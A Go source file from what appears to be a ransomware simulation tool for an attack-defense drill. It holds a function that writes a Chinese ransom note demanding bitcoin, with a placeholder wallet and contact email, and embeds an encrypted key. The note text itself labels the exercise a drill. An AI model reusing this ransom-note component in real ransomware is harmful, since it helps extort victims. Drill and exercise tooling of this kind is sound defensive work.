package utils

import (
	"fmt"
	"os"
)

func Message_Left(enced_pub_key string, message_path string) {

	message := `				
	  _              _   _               ___                                                          _                                                                               _   _     _                               
	 | |__     ___  | | | |   ___       |_ _|   __      __   __ _   _ __    _ __     __ _     _ __   | |   __ _   _   _      __ _      __ _    __ _   _ __ ___     ___    __      __ (_) | |_  | |__      _   _    ___    _   _ 
	 | '_ \   / _ \ | | | |  / _ \       | |    \ \ /\ / /  / _' | | '_ \  | '_ \   / _' |   | '_ \  | |  / _' | | | | |    / _' |    / _' |  / _' | | '_ ' _ \   / _ \   \ \ /\ / / | | | __| | '_ \    | | | |  / _ \  | | | |
	 | | | | |  __/ | | | | | (_) |  _   | |     \ V  V /  | (_| | | | | | | | | | | (_| |   | |_) | | | | (_| | | |_| |   | (_| |   | (_| | | (_| | | | | | | | |  __/    \ V  V /  | | | |_  | | | |   | |_| | | (_) | | |_| |
	 |_| |_|  \___| |_| |_|  \___/  ( ) |___|     \_/\_/    \__,_| |_| |_| |_| |_|  \__,_|   | .__/  |_|  \__,_|  \__, |    \__,_|    \__, |  \__,_| |_| |_| |_|  \___|     \_/\_/   |_|  \__| |_| |_|    \__, |  \___/   \__,_|
                                |/                                                       |_|                  |___/               |___/                                                               |___/                 
	**********************************************************************
*                                                                    *
*              !!! 您的文件已被加密 !!!                             *
*                                                                    *
**********************************************************************
((本次为应急处突拉练，如发现问题请按流程立即报告值班长))
警告：您的所有文件已被高级加密算法加密。如果不按照以下说明操作，您的文件将永久丢失。

支付赎金以恢复文件：
1. 准备0.5比特币（BTC）作为赎金
2. 将赎金发送到以下地址：1LZoD34x567890abcdefGHIJKLMNOPQRSTUVWXY
3. 发送后，请将您的唯一ID（1234567890abcdef）和 加密信息 发送到我们的联系邮箱：decrypt@ransom.tor
4. 我们将在24小时内回复您解密步骤

注意：本信息为攻防演练信息，请勿当真，但是不要尝试修改或删除此文件，否则可能导致加密过程不可逆,下面是保存您的 加密信息，请妥善保存：

%x
`

	cry_message := fmt.Sprintf(message, enced_pub_key)
	//fmt.Println(cry_message)
	srcFile, err := os.Create(message_path + "_crypto_message.txt")
	if err != nil {
		fmt.Printf("创建文件: %v\n", err)
		return
	}
	defer srcFile.Close()
	fmt.Println(message_path + "/crypto_message.txt")
	// 写入勒索数据
	_, err = srcFile.Write([]byte(cry_message))
	if err != nil {
		fmt.Printf("处理失败: %v\n", err)
	}
}
